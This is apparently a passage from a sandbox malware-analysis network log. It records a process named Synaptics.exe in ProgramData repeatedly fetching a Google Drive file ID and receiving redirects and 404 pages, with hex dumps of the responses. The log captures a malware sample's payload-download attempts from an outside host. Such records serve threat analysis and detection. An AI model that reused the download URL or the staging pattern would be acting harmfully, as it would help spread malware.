2024-11-15 10:24:44 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49794	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:44 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:44 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-fN-d9vjiQ2nKkQC7eUz0kA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49796	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:44 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:44 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:44 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-BZb41KUFe5fWsptmquap-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC66h55eqZ_-Meiab5NlnUvBU2DlY0k5vm1dRiGOkMs7WrRwUFaSgZmBgB7Ab-bFDOfwYpgyiAYMCA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:44 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:24:44 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 2d 57 32 4e 79 38 6c 35 58 5a 7a 45 4e 62 31 4a 77 4b 66 32 46 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="-W2Ny8l5XZzENb1JwKf2FQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:24:44 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49802	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:45 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-rliMRAuwcewcju2ActHR4w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	49803	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:45 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-f3_6rFO4oaS0jhhK2UJM4A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	49808	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:46 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:47 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:47 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-GSspKMEed1hW17M9WZqHKA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC4XgHu6N_GiFRwPhIVKWBfs5PjE30JK02AeTdz1IAlkDomta8iULcZDqVa9w8ELGkiKQyYWVgI9gQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:47 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:24:47 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 41 31 55 64 37 61 6e 30 30 5f 6b 4c 5f 4a 35 68 39 5f 4e 65 55 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="A1Ud7an00_kL_J5h9_NeUA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:24:47 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	49807	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:46 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-Hw2LVFRDP0Ya9T439uFHEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	49810	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:46 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-NXd3sbqXoe44UrNCB4l_KQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.16	49809	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:46 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:47 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:47 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Xq7dQqTe4udJyr3EShS-JA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AHmUCY2u6Q6KOEoywHhhCEoFTllfsxPPWjP88cfeHf-MumgkSUTi9Qkt3Z5B6hISWL-_l-o3zVBStXFY8Q Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:47 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:24:47 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 31 72 4f 65 4f 71 74 38 58 6b 47 76 36 6d 5f 44 54 58 5f 79 41 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="1rOeOqt8XkGv6m_DTX_yAQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:24:47 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.16	49811	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:48 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
